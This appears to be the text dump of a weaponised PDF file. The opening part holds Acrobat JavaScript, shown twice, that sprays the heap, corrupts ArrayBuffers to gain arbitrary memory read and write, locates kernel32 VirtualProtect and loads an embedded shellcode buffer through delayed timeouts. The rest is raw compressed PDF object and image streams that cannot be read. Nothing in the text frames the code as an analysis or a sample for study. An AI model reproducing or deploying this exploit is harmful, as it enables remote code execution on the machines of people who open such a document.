            for (var i = new Array(4096), d = 4096; 0 <= d; d--) i[d] = new Array(256);
            for (d = e - 16; 2 <= d; d--) fake_arr[d] = new ArrayBuffer(4096);
            read_array = new Uint32Array(256), fake_arr[1] = read_array;
            break
        }
    if (t) {
        jj(), ii(), hh(), c();
        var n = gg(),
            u = new Uint8Array([148, 195]),
            f = ff(n[0], n[1], u),
            s = ee(n[2], n[3], dllName, funcName),
            o = (kk(addr - 4), kk(base_addr + 24));
        o = kk(o + 12);
        var m = new DataView(base_mem, 32768, 4352);
        for (e = 0; e < 768; e++) m.setUint32(4 * e, kk(xfuncaddr + 4 * e), !0);
        m.setUint32(36, f, !0), m.setUint32(0, s, !0), m.setUint32(4, o, !0), m.setUint32(8, o, !0), m.setUint32(12, 4096, !0), m.setUint32(16, 64, !0), m.setUint32(20, 808464416, !0), m.setUint32(4096, xaddr, !0), m.setUint32(4100, xfuncaddr, !0), dd(), a.saveXML("pretty")
    }
    var _ = new DataView(mem_arr[fakeIdx - 1]);
    for (k = 0; k < 8; k++) {
        var v = _.getUint8(4 * k + 3);
        v = ((v = ((v = (v << 8) + _.getUint8(4 * k + 2)) << 8) + _.getUint8(4 * k + 1)) << 8) + _.getUint8(4 * k), _.setUint32(4 * (3062 + k), v, !0)
    }
}

function a() {
    for (var e = 0; e < 128; e++) field_arr[e] = this.addField("Field_" + e, "text", 0, [0, 800, 55, 850]);
    for (e = 0; e < 128; e++) this.removeField("Field_" + e);
    for (e = 0; e < 768; e++) buf_arr[e] = unescape("%u9584%u9584%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9648%u9648%u9648"), 592 == e && this.dataObjects[0].toString();
    for (e = 0; e < 768; e++) delete buf_arr[e], buf_arr[e] = null;
    this.dataObjects[0] = null, g_timeout = app.setTimeOut("b();", 1e4)
}
for (var i = 0; i < 4096; i++) {
    mem_arr1[i] = new ArrayBuffer(256);
    var dv1 = new DataView(mem_arr1[i]);
    dv1.setUint32(0, 1094861377, !0), dv1.setUint32(4, 4294967169, !0)
}
for (i = 0; i < 12288; i++) {
    mem_arr[i] = new ArrayBuffer(65512);
    var dv = new DataView(mem_arr[i]);
    dv.setUint32(0, 1094861377, !0), dv.setUint32(4, 4294967169, !0), dv.setUint32(12248, 808464480, !0), dv.setUint32(12252, 808464640, !0), dv.setUint32(12260, 808466480, !0), dv.setUint32(12284, 65536, !0), dv.setUint32(12296, 808464528, !0), dv.setUint32(12344, 808464576, !0), dv.setUint32(12356, 808464896, !0), dv.setUint32(12360, 4096, !0), dv.setUint32(12737, 1, !0), dv.setUint32(12456, 808464688, !0), dv.setUint32(14284, 65536, !0), dv.setUint32(14288, 8, !0), dv.setUint32(14292, 65536, !0)
}
var shellbuf = new ArrayBuffer(151552),
    dvshell = new DataView(shellbuf),
    dvshellbuf = new Uint32Array([3968554336, 6120, 2338413824, 216564677, 2421733524, 143339569, 2298757259, 610336513, 2213317461, 1448284396, 3948800855, 1818321755, 2019896931, 1432354917, 740584587, 2335982987, 58197332, 407538645, 52451979, 881543645, 871695243, 4240454655, 1958773932, 231719175, 4109105155, 673479739, 1519117173, 1725760292, 2336951435, 3707968602, 59442315, 1166630341, 1166762484, 574196, 2179763029, 1048812, 59392, 2204041216, 116078791, 99255130, 4125623787, 2382364671, 2870016261, 2312121088, 93190229, 11210893, 2314749187, 3375624261, 2707734579, 48, 2332835979, 915086448, 2332579467, 962994302, 4067760207, 1953185664, 1262452743, 3874161268, 856457088, 1435099253, 4233989116, 1409047947, 2331940968, 4032167694, 277087629, 1157824683, 1342204664, 2180273663, 1048772, 1583308032, 1575324507, 2425393347]);
for (i = 0; i < dvshellbuf.length; i++) dvshell.setUint32(4 * i, dvshellbuf[i], !0);
g_timeout = app.setTimeOut("a();", 3500);
                                            
                                                var fake_arr, myfieldaddress, beforevftable, addr, xaddr, read_array, xfuncaddr, mem_arr = new Array(12288),
    mem_arr1 = new Array(4096),
    fill_heap = new Array(20480),
    buf_arr = new Array(768),
    base_mem = 0,
    base_addr = 0,
    viewer = 0,
    AcroForm_Base = 0,
    dllName = new Uint8Array([107, 101, 114, 110, 101, 108, 51, 50, 46, 100, 108, 108, 0]),
    funcName = new Uint8Array([86, 105, 114, 116, 117, 97, 108, 80, 114, 111, 116, 101, 99, 116, 0]),
    fakeIdx = 1,
    field_arr = new Array(256);

function kk(e) {
    var r = viewer[2] - base_addr,
        a = new DataView(base_mem),
        t = a.getUint8(r + 80);
    t = ((t = ((t = (t << 8) + a.getUint8(r + 81)) << 8) + a.getUint8(r + 82)) << 8) + a.getUint8(r + 83), a.setUint32(r + 80, e, !0);
    var i = read_array[0];
    return a.setUint32(r + 80, t, !0), i
}

function jj() {
    for (var e = 0; e < 12288; e++)
        if (mem_arr[e].byteLength < 0) {
            fakeIdx = e;
            break
        }
    base_mem = mem_arr[fakeIdx];
    (viewer = new Uint32Array(mem_arr[fakeIdx - 1], 14296, 32))[2], viewer[0]
}

function ii() {
    for (addr = kk((addr = kk((addr = kk((addr = kk(base_addr + 8)) + 16)) + 16)) + 12), beforevftable = kk(addr + 4), addr = kk(beforevftable), AcroForm_Base = addr - 393216 & 4294963200; 9460301 != kk(AcroForm_Base);) AcroForm_Base -= 4096
}

function hh() {
    var e = kk(base_addr + 16),
        r = new DataView(mem_arr[fakeIdx - 1]);
    for (i = 0; i < 8; i++) r.setUint32(4 * i, kk(e + 4 * i), !0)
}

function gg() {
    var e = kk(AcroForm_Base + 60),
        r = AcroForm_Base + e;
    if (17744 != kk(r)) return 0;
    for (var a = r + (65535 & kk(r + 20)) + 24; 2019914798 != kk(a);)
        if (0 == kk((a += 40) + 12)) return 0;
    var t = new Array(4);
    t[0] = AcroForm_Base + kk(a + 12), t[1] = kk(a + 16);
    var i = r + 24 + 96;
    return t[2] = AcroForm_Base + kk(i + 8), t[3] = kk(i + 12), t
}

function ff(e, r, a) {
    for (var t = new Uint8Array(base_mem, e - base_addr, r), i = 0, d = 0; d < r - a.length; d++) {
        for (var n = !1, k = 0; k < a.length; k++) {
            if (i < 3 && i++, t[d + k] != a[k]) {
                n = !0;
                break
            }
        }
        if (!n) return d + e
    }
    return 0
}

function ee(e, r, a, t) {
    for (var i = e, d = !1; 0 != kk(i + 16);) {
        for (var n = kk(i + 12) + AcroForm_Base, k = 0, u = !1, f = 255 & kk(n); 0 != f;) {
            if (f != a[k] && f + 32 != a[k]) {
                u = !0;
                break
            }
            if (n++, ++k > a.length) {
                u = !0;
                break
            }
            f = 255 & kk(n)
        }
        if (!u) {
            d = !0;
            break
        }
        i += 20
    }
    if (!d) return 0;
    for (var s = kk(i) + AcroForm_Base, o = kk(i + 16) + AcroForm_Base, m = kk(s) + AcroForm_Base; 0 != m;) {
        for (f = 255 & kk(m += 2), k = 0, u = !1; 0 != f;) {
            if (f != t[k]) {
                u = !0;
                break
            }
            if (++k > t.length) {
                u = !0;
                break
            }
            f = 255 & kk(++m)
        }
        if (!u) return kk(o);
        o += 4, m = kk(s += 4) + AcroForm_Base
    }
    return 0
}

function dd() {
    var e = viewer[2] - base_addr,
        r = new DataView(base_mem),
        a = r.getUint8(e + 80);
    a = ((a = ((a = (a << 8) + r.getUint8(e + 81)) << 8) + r.getUint8(e + 82)) << 8) + r.getUint8(e + 83), r.setUint32(e + 80, xaddr, !0), read_array[0] = base_addr + 32768, r.setUint32(e + 80, a, !0)
}

function c() {
    0 == kk((xaddr = kk((xaddr = kk((xaddr = kk((xaddr = kk((xaddr = kk(base_addr + 32)) + 16)) + 16)) + 4)) + 4)) + 52) || (xaddr = kk(xaddr + 52)), xfuncaddr = kk(xaddr)
}

function b() {
    for (var e = 0; e < 20480; e++) fill_heap[e] = unescape("%u5050%u2020%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030");
    var r = XMLData.parse("<family name = 'Robat'><mom id = 'm3' name = 'Mary' gender='F'><spouse> m2 </spouse><personal><income>25000</income></personal></mom></family>", !1),
        a = XMLData.applyXPath(r, "//family/mom");
    fake_arr = this.dataObjects[0], this.createDataObject("abname", "qwer");
    var t = !1;
    for (e = 1; e < 65536; e++)
        if (1094861377 == fake_arr[e]) {
            fake_arr[e - 2] = 0, myfieldaddress = this.addField("FieldField", "text", 0, [0, 0, 10, 10]), fake_arr[e + 1] = myfieldaddress, fake_arr[e + 2] = this.getDataObject("abname"), fake_arr[e + 3] = shellbuf, fake_arr[e + 4] = a, base_addr = 808466480 + 8 * e, t = !0;
            for (var i = new Array(4096), d = 4096; 0 <= d; d--) i[d] = new Array(256);
            for (d = e - 16; 2 <= d; d--) fake_arr[d] = new ArrayBuffer(4096);
            read_array = new Uint32Array(256), fake_arr[1] = read_array;
            break
        }
    if (t) {
        jj(), ii(), hh(), c();
        var n = gg(),
            u = new Uint8Array([148, 195]),
            f = ff(n[0], n[1], u),
            s = ee(n[2], n[3], dllName, funcName),
            o = (kk(addr - 4), kk(base_addr + 24));
        o = kk(o + 12);
        var m = new DataView(base_mem, 32768, 4352);
        for (e = 0; e < 768; e++) m.setUint32(4 * e, kk(xfuncaddr + 4 * e), !0);
        m.setUint32(36, f, !0), m.setUint32(0, s, !0), m.setUint32(4, o, !0), m.setUint32(8, o, !0), m.setUint32(12, 4096, !0), m.setUint32(16, 64, !0), m.setUint32(20, 808464416, !0), m.setUint32(4096, xaddr, !0), m.setUint32(4100, xfuncaddr, !0), dd(), a.saveXML("pretty")
    }
    var _ = new DataView(mem_arr[fakeIdx - 1]);
    for (k = 0; k < 8; k++) {
        var v = _.getUint8(4 * k + 3);
        v = ((v = ((v = (v << 8) + _.getUint8(4 * k + 2)) << 8) + _.getUint8(4 * k + 1)) << 8) + _.getUint8(4 * k), _.setUint32(4 * (3062 + k), v, !0)
    }
}

function a() {
    for (var e = 0; e < 128; e++) field_arr[e] = this.addField("Field_" + e, "text", 0, [0, 800, 55, 850]);
    for (e = 0; e < 128; e++) this.removeField("Field_" + e);
    for (e = 0; e < 768; e++) buf_arr[e] = unescape("%u9584%u9584%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9648%u9648%u9648"), 592 == e && this.dataObjects[0].toString();
    for (e = 0; e < 768; e++) delete buf_arr[e], buf_arr[e] = null;
    this.dataObjects[0] = null, g_timeout = app.setTimeOut("b();", 1e4)
}
for (var i = 0; i < 4096; i++) {
    mem_arr1[i] = new ArrayBuffer(256);
    var dv1 = new DataView(mem_arr1[i]);
    dv1.setUint32(0, 1094861377, !0), dv1.setUint32(4, 4294967169, !0)
}
for (i = 0; i < 12288; i++) {
    mem_arr[i] = new ArrayBuffer(65512);
    var dv = new DataView(mem_arr[i]);
    dv.setUint32(0, 1094861377, !0), dv.setUint32(4, 4294967169, !0), dv.setUint32(12248, 808464480, !0), dv.setUint32(12252, 808464640, !0), dv.setUint32(12260, 808466480, !0), dv.setUint32(12284, 65536, !0), dv.setUint32(12296, 808464528, !0), dv.setUint32(12344, 808464576, !0), dv.setUint32(12356, 808464896, !0), dv.setUint32(12360, 4096, !0), dv.setUint32(12737, 1, !0), dv.setUint32(12456, 808464688, !0), dv.setUint32(14284, 65536, !0), dv.setUint32(14288, 8, !0), dv.setUint32(14292, 65536, !0)
}
var shellbuf = new ArrayBuffer(151552),
    dvshell = new DataView(shellbuf),
    dvshellbuf = new Uint32Array([3968554336, 6120, 2338413824, 216564677, 2421733524, 143339569, 2298757259, 610336513, 2213317461, 1448284396, 3948800855, 1818321755, 2019896931, 1432354917, 740584587, 2335982987, 58197332, 407538645, 52451979, 881543645, 871695243, 4240454655, 1958773932, 231719175, 4109105155, 673479739, 1519117173, 1725760292, 2336951435, 3707968602, 59442315, 1166630341, 1166762484, 574196, 2179763029, 1048812, 59392, 2204041216, 116078791, 99255130, 4125623787, 2382364671, 2870016261, 2312121088, 93190229, 11210893, 2314749187, 3375624261, 2707734579, 48, 2332835979, 915086448, 2332579467, 962994302, 4067760207, 1953185664, 1262452743, 3874161268, 856457088, 1435099253, 4233989116, 1409047947, 2331940968, 4032167694, 277087629, 1157824683, 1342204664, 2180273663, 1048772, 1583308032, 1575324507, 2425393347]);
for (i = 0; i < dvshellbuf.length; i++) dvshell.setUint32(4 * i, dvshellbuf[i], !0);
g_timeout = app.setTimeOut("a();", 3500);
%PDF-2.0
516 0 obj
<</Filter/FlateDecode/First 6/Length 207/N 1/Type/ObjStm>>stream
endstream
endobj
517 0 obj
<</Filter/FlateDecode/First 5/Length 74/N 1/Type/ObjStm>>stream
endstream
endobj
518 0 obj
<</Filter/FlateDecode/First 247/Length 875/N 33/Type/ObjStm>>stream
Kzf4V
"!iyZT
1%CUwAI
yh16U^
endstream
endobj
519 0 obj
<</Filter/FlateDecode/First 901/Length 3252/N 99/Type/ObjStm>>stream
~x-$Zh
q8la#YH
WO3bn{Mr
zJqSWJ
SE/zp4b
au&AcaT
endstream
endobj
520 0 obj
<</Filter/FlateDecode/First 5/Length 23/N 1/Type/ObjStm>>stream
endstream
endobj
521 0 obj
<</Filter/FlateDecode/First 100/Length 1390/N 13/Type/ObjStm>>stream
6d&FBc
dFFx2R:
endstream
endobj
522 0 obj
<</Filter/FlateDecode/First 882/Length 1687/N 100/Type/ObjStm>>stream
+T=T`#
-N^>y2
h)Gw$.
tt+>d~
endstream
endobj
523 0 obj
<</Filter/FlateDecode/First 519/Length 1088/N 59/Type/ObjStm>>stream
b)@VSg
endstream
endobj
524 0 obj
<</Filter/FlateDecode/First 59/Length 555/N 9/Type/ObjStm>>stream
+RKWBGW
"SRU]4
JWyr7C
JU;aJM
z:Pp|b
endstream
endobj
525 0 obj
<</Filter/FlateDecode/First 884/Length 1793/N 100/Type/ObjStm>>stream
m@lI*W
W!)N6Q
o?l/?mo
y.)MuzD3];
2+-0+B
/m2U=K
endstream
endobj
526 0 obj
<</Filter/FlateDecode/First 64/Length 447/N 9/Type/ObjStm>>stream
endstream
endobj
527 0 obj
<</Filter/FlateDecode/First 6/Length 63/N 1/Type/ObjStm>>stream
endstream
endobj
528 0 obj
<</Filter/FlateDecode/First 13/Length 107/N 2/Type/ObjStm>>stream
254V0P054R03P
endstream
endobj
2 0 obj
<</Filter/FlateDecode/Length 4651>>stream
M@B+MS
sIdaUd
ux0~x?
[n ,{)
*\,x(]^$
gAY7&
;6\Eia
endstream
endobj
3 0 obj
<</BitsPerComponent 8/ColorSpace/DeviceRGB/DecodeParms<</BitsPerComponent 8/Colors 3/Columns 536>>/Filter/FlateDecode/Height 155/Length 6749/Name/X/Subtype/Image/Type/XObject/Width 536>>stream
!"cC H
wwNSEr
s0$0>o
G[0Qhm,zy
SmSzcfyD
fsO-=|)l
JrGruu
?}+T=a04
I%jr()u
n%2<\i
VWI6CUb{
bpz_mb
:=}=<l
weeess
);Gh1oM
#$98zD
,,,ta&z
xryyyzz
{{{sss3wI
/@"###C
endstream
endobj
5 0 obj
<</Filter/FlateDecode/Length 4084>>stream
(7k!EP
nKyE#D@
endstream
endobj
6 0 obj
<</BitsPerComponent 8/ColorSpace/DeviceRGB/DecodeParms<</BitsPerComponent 8/Colors 3/Columns 1017>>/Filter/FlateDecode/Height 601/Length 99144/Name/X/Subtype/Image/Type/XObject/Width 1017>>stream
eaaaqq1
p8<555333??
hnnnmm}
"OT{
[QQQSS
>}ZYYy
_[LO/{~QQR3
uMMMyy9
uClmiAb['
H$iiiB
QQQYYYUUUh^
ZKA}@~
IfffLLLbb"
dTTTvvvSS
6%%%""B(
;v,222)))??_.
TgT+Es
D}WbGL
,MP,-
KJJBCC
8ljj:|
$^CvU#
6RU5Z[
\nol,o
IIIeee
HV$KM}
DJJJaaa[[
Or8CEE
p5prwwwFFFRR
Fyy9T
;<<<55U$
3^dgggff
V3<<<>>
IPU\\\ll,>
|mmmLLLbb"*
wK~xxxrr
164p]5a
w3===99i4
cl~~~vvvzz
_^YUrU
Ses1G&>(
sbdEa
tZuj5S
\n8;4<Q,hX
T~cCeBlnZ
U#iH
NQ08 lc
OV,Vpcj
<6T?rC
;&|Fie
g<(~i@
gPh!!?
HJ.omim
([R</N
&+3=1C
^iyCKkE
uRJ^YkIMkg
F__{NNJ
x$2TZz)7
'ss%v8
'jw3[Z
`mmmSS
_~999)
nq,cd<
|WWWyy
Vr'U^^
W^ye``@
wwwwtt
G0<"P1
XqMMMbbbKK
JJJBT
T[[[__
sss333
X,555j
A]PVV666
A}}}bb
UmiiIHH
W%}vL|4
JJJ233
7o655----
?:6:>;5
999`H>
bMxxxdddhh(
`hORRRl=H
=Y_I}3j2
pE_czT
a1ccc)
/]W`"^
'''i4Zww7
A=kkkT*
oKdddUU
y7awu
wucc#h
|Htt44
O9O<gw
6*>>~qq
^kn">G@
M}T4Z^
Qmxs}D
y@[&&u7)cO{
*PG,AL
?|t:j$
X`dl|>
|3422v
xuqjz<04:
O}oL9>'
:<%IZ{
x}~G=IuW
K$*o~X
!$I!)yk
FmveoDv@I
tij6./
?elhm_{
{s^9A%
R5<_XNsx
L*U(T*X
T/_xO
]^E"VH
6m~<WL
K)_z'?
df@jW:
9V{[%&w
g````x*
pKC}mMm
&E]/kX
fREM-f
KR489:j
Vcyu5V
D$>F}"j?F}
D$>F}"j?F}
988hE}
va%JNNF
%%%III
eggc~[$
=N|{'F}
4]Bkd!WM
v-((@h
2R%i_%
////..
YYYVZo
q@@XP!
Apuy<^SS
%%%aaa[
={Fn~yy9
_t+]]]d
|7]rF$J
x]^zS}
E37fY9
jjjBBBBCC
z=;TOO
drK4<<
DIrRlJz|A
Vo0Yij
1/9)Y
NmyTU^
P <uPR
.3>G9f
[=')<R
;ir/D4
I}2,p
`pcWU[
lH:01mq
.1.+2
RYZAA]
*I(lO}
pV}b[g
e\jemY
!d_S@x
qyrath
4+DP`A"
`V@(PH
*$T_^H
_`(1^(Y
i_@/!;t
}':?IU
{aS7;1Qs3
xMm=uw
JA[_}F^
vqkgqDH
eM`eT6uI
Z~kcQ4
`bbbkk
q{'&e5
0xLTxn
oll*((
#Q0j}
!HQJt)
VK:f`f
Q&Ffn6
s)kJ8:
7c4r}4
J[[[WW
.''ggg
MMMkkk[[[555EEE
deeKKK
2+emp~
'U2ZQT
olrN33
900PKK
Ad(++[
>`uU54
71ka?&
*q[uJj
07733?
!&&fll
Mo'+))>
E&Ke0t
b8i$rqAIU
$?W>G}
39k(-l
@}@n#
;w>/VAA
d>?MV]
U[}9=1"
`mCfgg{
>gmCz<
pyyyFFFff
.(.**-=W
eeeEEE
h7dFFFRRR||
&LHHHP
J}}}[[
TTTTWWwtt
uBeeeff
ufnnnVV
0aBRRR
zUG+++u
q#!!AW
%j@pCcP
a~===???1 44
-)))>>~
GX$ccca^H
100044
KKK|Y||
cccrf5
&T,P?==
/dRRRpp
jqoTTTc
+???((
vB[@fE
T*3226o
ry~AAaa
J9P]Ra
"):9forRJj
@aFFcf=A
cG"w&&%
YbDlfay]
crI9F>
KTu]3Z
e'$$FF
7.:&Av
EOc44vV
@'h1^l?ag
r0pxF]
b{}/=kxLmx
ji_[)6<
+H>||
>yxdq9
L2G>l\
Pd2=9>
5P#i(b
FbdhJtJU
~+V0i\
9)@41)
LJ2515-
|xsakjtTd
>Ol`T_
0hBVVVN
3"""22r
;88dee
QQQMMM, ''
@'%%%3f
HTYYinq
7o:99yyy
...yyy
~kkkQSUU
SRRlmm
H$EEEK
T4C'8dcEhE
GZ[[;;;
@{6I]bt
frtLF}S~
m9TzBQ
L?ncbQ
gLGf7p(z
5=hiny
~r]?_n
PBBHH!!9
gb0AUO
nAY]R>
Ovggedee
wu+/?3+--e
Esss]]
kjjjkk
m6[ee%
"gRRRYY
pyyynn.
YYYaaa0m\
};h@VVV
LTTTqq
GcccHH
RRRR]]
Ucm6[AAADD
rrrJJJ
CWWWZZ
FGG/,,@
v)**2:
J=ff_x
hbz+u
3CP}+O
-I```nn.
kudyH,
endstream
endobj
8 0 obj
<</Filter/FlateDecode/Length 2723>>stream
XFhhd(
2>L%m76}
HGDm5i
H0`EN%
h+RW19E(q
endstream
endobj
9 0 obj
<</BitsPerComponent 8/ColorSpace/DeviceRGB/DecodeParms<</BitsPerComponent 8/Colors 3/Columns 804>>/Filter/FlateDecode/Height 400/Length 34910/Name/X/Subtype/Image/Type/XObject/Width 804>>stream
j$upppxxxzz*
tvvvyy
pzw-/$qKlM
677wvv
ZXXXZZ
Y\\\[[
DJZ@Mz
*W~U~Lu-
Vr[/q-
,]+qr"/u
a\K_jmQ
eJnkOP
jjjjnnnee
rqqqpp
yYvvv>~
/_Jcfk
on#-Y.`
LrODkkk
hT*UUU
|RV/x+
VKb u8
S,Dt#u,
/[s/wD
Pha!z}t
uR{a2Z
144Da\.W
Nl-""u`k
777wuu]
VfffQQ
jooOHH
L&SbbbVVV
tiLLLrrrGG
FAhIl-"Rl|kuu
$DZGGGoo
&l-"Rh
RNSi-1#
_ZZz
pW_Pl-"Rh|k
@eeebb"
_|qt%77$Z+ |
n-QV2yyy
ckgF]i
2335w
D9WXT2
oJ}JOY
BZ>t-B
BZ>t-B
BZ>t-B
1%t-B,
1%t-B,
555~~~
"...NjBBB
3gz{{WWW
pK+++9
v>11Q9
Vxxxtt
={foo_]]
Lpxlmm;w
Rz9990
qTd*++
"K]DG9
z\+((H
<}%z\+,,,..
fJ{{;
2MFBBB~
%5550!
|}}srrD"
'Oz{{sw
zu~~~WW
@\rpp Dq
Wp,j4H
54\\\X
iIe- 1"
-%oQCQ
R^XXH0f``
766jii]
Y---hDDD
Pt---SRRH
.]jkkK@
cBu#uP*keffb"v
Zbq tuu5
p(;;;t[[[]\\pi-,,p
ZYY55M*A
````~~>k
mGFFVVV
)///++
u1$((H
BZZZqq1
c`fffAA
V`g"##+++]W
]XXX@@@NN
8HJJjll
LoooJJ
u96w.u
5""bZ2--
*55U$%I
TtttXXXBBBdd
P)???Q
CKwPBC
YYYCCCF
.\hnn>
OKKKcccu:
*===t-B
|),,,666''GZ
`MMM}}=v
U*U]]]VV
N^^^pp
BCC[[[
N@@@tt4
v"##?~
EJQQQ||<
>>>QQQ
sss>|0
jZZZzz
FhhhVV
ifffjjJ
%&&"lxx8//
LUUU{{{LLLPP
OKKKNN
pUfdd,,,
S\\\||<:
=}DFEE
XIIIqq1:
$YKJJJ
lyyYxvQ
Cyyy\a\
qqqiii---
[sssnnneee
VUUqVs
|||<==
.l"""H
i;kaLj
!fggEq
~dddvv6
&<<|tt
ucccJw
jllLOOOKK{
~$RRRB
'''yUXX
Duuu[[
~$RRRB
:t(,,,???33
+99ydd
Z__?99i
FGGgff
DJJJHS
@JjTQQ
EDDDGG
444Dw|
TWW'''c
nq8{Fw
5777!!a~~~
Zh%7lg
111)))
ljmmMXR
>%kIII
ZS@KH}BD
7a-E"i
V]]]__
_SSccG
mmm&c9
hRR{N<
iiiKKKj
E/$$$##
%JNN&[
gccC>$C(
%kad=Yy
2M&+b*bRb_
gffbbb
n!Pj#
)YKJJjH
vxxxqq
jTTTrr
d[[[yG\\\`
d-))))sJ
%%%%eNI
=,,,..
:&&&::
xzzB_7o
mrrr||<]
966F/}
%$$dee
j5:s-y
EKc{f&tv
DKc{f&t
#}cL\K
>ya/Ov
2???;;[,
endstream
endobj
11 0 obj
<</Filter/FlateDecode/Length 1956>>stream
endstream
endobj
12 0 obj
<</BitsPerComponent 8/ColorSpace/DeviceRGB/Filter/DCTDecode/Height 355/Length 38665/Name/X/Subtype/Image/Type/XObject/Width 1000>>stream



#$%&'()*45789:DEGHIJTUVWXYZcdefghijsuvwxyz
"#$%&'()*23456789:BCDEFGHIJRSTUVWXYZbcdefghijrstuvwxyz
n_MTc
J",{Ai
-cclRoli
04REM
WO$Nf'X
[{e4Y}C
>*i[11
S]5PuO
cRC-\M
NlosC2
Sp\~,k}kc
^daa-,
y,NC$i}
Y)ctLq{[kd
tCXl(*
>Aqui^
Wi6+>'
xr"ncsg
!wv%X$
q$27Gn
7z2dfq/
FrVZ<,
.././q
kj'sa&g
G{loqvPq6vK
3$wMw|
oy9/6q
V-_SO[T
wESGMV
8*[(i|N
~h1LB*
4cXl*b
vr}!fF
yvu4o
tCXl*b
CA&%E,Q
c5qSDg
Heu;A&V5
-"oD:i
]MciDum2
yqq~HpkZ
pp-sOx
Q79YQ+%
bQUL>6M
4cXl*b
as?{u=;+
Oyl8m<
oov@nK
W{H5JzYc
!dn2R@f
~A,$85
g](w?X
_Q%mLt
os&Dn!
-~DyE
+I(>WY
FK5<R=
TH2_QQ+
W~o _f
" ,u:'
.h7h(-
YXKE&<)
kxE3hq
dIQI,0
4cXl(+.
n~Yi1)(D
" ,5uq
a{84lX
%cmlN!
jx$up>|
T,wxF7%tp
6(6r1
%&SZC-&S
V?!nqOJ
US$F'd
ig}.-<
"axd8=,T
i7=I5md
u=&'Q$
TRTZG1
m=}$d8J
QZGVUU
;*YW]W[
endstream
endobj
13 0 obj
<</BitsPerComponent 8/ColorSpace/DeviceRGB/DecodeParms<</BitsPerComponent 8/Colors 3/Columns 1051>>/Filter/FlateDecode/Height 473/Length 49496/Name/X/Subtype/Image/Type/XObject/Width 1051>>stream
C(%Do)
'R^>^Uu
Z_))ai]
*+w\3|
559Mz`a6
4 kX7d
$v6.f
T*---ao
B.rV&Gc
-MI 5NA
!M6aR(X,G!ll;T
!e6aR(X
3@Bh({
b!)}5J_y
XlHx]H
2v7AC=
6=#$gU./.
j0o2`,
ZU(kQO
+JL;gJ
@$"/3vWV
}Os*([
JR@tj/3r[[
OEg9jnh(haM
r^=Nn*C(:
j];tHn
T-Xh44A
yJ6VWo
P@6+++o
g%N,cg
NirrR
>0fMvt
3fffZZZ
p8,"q"
cqzmmm
kkkE3F"
d2R(~y
uqz}}}
qjjjkk+
ciiitt
CCCmmm
\YYY0"
S*G^lnnJV
cPlllHPx<
((((..noo
?>00
/^vG/N
|SYu/
)&''gVL
^\#|9{AI
{e;PX'
J~z8!E%`
C-bb,'
W:WV!I|
M#%f-
xdddrZ
;@Uf|H(%%=#
YyLjDhdli
>h=^xy
a{e:7."
@([m.
Br`Pru
#G$WT'
jzQ]:z
rEaJRZNA
?Z{*Oy
]ru4VnMM?\T
h2;=d
H/xs{I
sf9sNw
}XZUVD
6@7Wv<
J`Ca_8QP{'
cE~Y]j
rSn"q8
-AA9p%
LN47ci0
Kknu((
1knu((
@-`GPL
>22r@&
w096F6
 "[1zW;.
!ga^>nk
RJULA:
^CCQT^-D
jg|^8_
x1$XGx0
b`XWdt
>1l(L&
'qtg}ze
2EQoR#
$a~Tp
S7mmQ
EXkj"5A6[m
_jjjnn
$0(bM\,/
dE.(~m6j}
@P$BLM
b)kMMGVVLJ
cCP@*`
2QgH4~Yfg
bm6J;
*T\.-UQB
=f|7k5
HL6om6?zv
33{SS;
H#x1)z
lO;5Bj
?3SUX8z
`,8[qD
2zU]p2a
/#Xul|
xaj}PV
5!+<0P
yk"#44
1'(`9k
endstream
endobj
15 0 obj
<</Filter/FlateDecode/Length 3428>>stream
1uQeyc\
IJ\;Gs
iM-GXuU
)@;I[TI
nElKLV
GEY3]0
3q2H1Y
endstream
endobj
16 0 obj
<</BitsPerComponent 8/ColorSpace/DeviceRGB/Filter/DCTDecode/Height 565/Length 91750/Name/X/Subtype/Image/Type/XObject/Width 1013>>stream



234Rcqr
%&'()*789:CDEFGHIJVWXYZdeghijuvwxyz
$%&'()*456789:CDEFGHIJTUVWXYZcdefghijstuvwxyz
Y8[AmWV
MQS-+%k
c"sE7D
V2'4StH
c"sE7D
V2'4StH
c"sE7D
V2'4StH
c"sE7D
V2'4StH
c"sE7D
V2'4StH
c"sE7D
V2'4StH
c"sE7D
V2'4StH
c"sE7D
V2'4StH
c"sE7D
V2'4StH
c"sE7D
V2'4StH
c"sE7D
V2'4StH
c"sE7D
V2'4StH
g4u/sY
fHT8>F
nojJJX
KMkIKSX,
mv::qf
h7_q:t-
-USRdk"
VB5'#S
]GIbUYO
u2GIGf>
)DyG\2w
S-;i+*
sDnv>07
8'}=N,
?-(.m\
G|2HI8
MEfXTTp
vs(i1hj#
`/$po+8
UWMIIYZh
*~vO9I
Yu5SD#
ph${Gir
z",4""
vf5u]3j3
uhe6N1
~6 1s:
[4@k3:
[4@k3:
[4@k3:
[4@k3:
[4@k3:
[4@k3:
[4@k3:
[4@k3:
[4@k3:
[4@k3:
[4@k3:
SM)[7<R
xm5=+'q
2W:G;%.D
tF;}'8
<\C^~%%
So>w9c
*8pWOk;
k`]Na@
:YmI37SE,a
mK!ym4
'GU%<o
-:;r;*
.{K^16
0|Ee,Z
Taeu]Ed
+aqKH
`q9)Ou
(bc\pk
}>q'At0
GQVX^!
#eTNtA
X]ShSQ
SQG#Kbs
ASKW5nt
.|Z]ys
ois2r<
lJfTS?
RI/#xh
;y]E,1WSJ
1yJM>
A;G}o~
dv>P6J
\*]S!j
m \|JO
7I<y)1
qkckA%
d,Y5sSST>
p}+K<
KU>qMf
p#"tz%
V-eye$
mo)yMq
^S\c[F
J^S\c[F
mo)yMq
^S\c[F
mo)yMq
^S\c[F
mo)yMq
^S\c[F
mo)yMq
^S\c[F
mo)yMq
^S\c[F
mo)yMq
^S\c[F
mo)yMq
^S\c[F
mo)yMq
^S\c[F
mo)yMq
^S\c[F
mo)yMq
^S\c[F
mo)yMq
PV$/^b
|8}%U53
S.K&F%
qg_OOS
Ol",+j:
IdEUHDU11
.H6784
